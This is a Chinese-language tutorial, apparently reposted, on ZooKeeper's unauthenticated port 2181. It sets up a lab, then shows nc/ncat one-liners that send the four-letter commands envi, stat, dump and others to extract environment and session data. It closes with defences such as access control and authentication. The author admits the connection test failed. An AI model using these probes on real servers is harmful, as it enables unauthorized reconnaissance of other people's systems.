0x00 漏洞简介
ZooKeeper 是一个分布式的, 开放源码的分布式应用程序协调服务, 是 Google 的 Chubby 一个开源的实现, 是 Hadoop 和 Hbase 的重要组件. 它是一个为分布式应用提供一致性服务的软件, 提供的功能包括: 配置维护, 域名服务, 分布式同步, 组服务等.
ZooKeeper 默认开启在
2181
端口, 在未进行任何访问控制情况下, 攻击者可通过执行 envi 命令获得系统大量的敏感信息, 包括系统名称, Java 环境.
0x01 环境搭建
测试机: Kali
靶机: Ubuntu
版本: zookeeper-3.4.14
分别在测试机和靶机都安装 zookeeper-3.4.14
安装命令如下:
- wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
- tar -xzvf zookeeper-3.4.14.tar.gz
- cd zookeeper-3.4.14/conf
- mv zoo_sample.cfg zoo.cfg
- ../bin/zkServer.sh start # 启动
搭建成功~~ 默认端口 2181
0x02 漏洞证明
获取该服务器的环境
echo envi|nc 192.168.246.130 2181
....
试下连接
./zkCli.sh -server 192.168.246.130 2181
打扰了 是我不配
搞了好一会 还是 2181 端口还是关闭的...
0x03 漏洞利用
通过执行 envi 命令获得系统大量的敏感信息, 包括系统名称, Java 环境.
1,stat: 列出关于性能和连接的客户端的统计信息.
echo stat |ncat 127.0.0.1 2181
2,ruok: 测试服务器是否运行在非错误状态.
echo ruok |ncat 127.0.0.1 2181
3,reqs: 列出未完成的请求.
echo reqs |ncat 127.0.0.1 2181
4,envi: 打印有关服务环境的详细信息.
echo envi |ncat 127.0.0.1 2181
5,dump: 列出未完成的会话和临时节点.
echo dump |ncat 127.0.0.1 2181
0x04 防御手段
1, 修改 ZooKeeper 默认端口, 采用其他端口服务.
2, 添加访问控制, 配置服务来源地址限制策略.
3, 增加 ZooKeeper 的认证配置.
0x05 参考
- https://www.freebuf.com/column/170904.html
- https://xz.aliyun.com/t/6103#toc-7
来源: http://www.bubuko.com/infodetail-3438377.html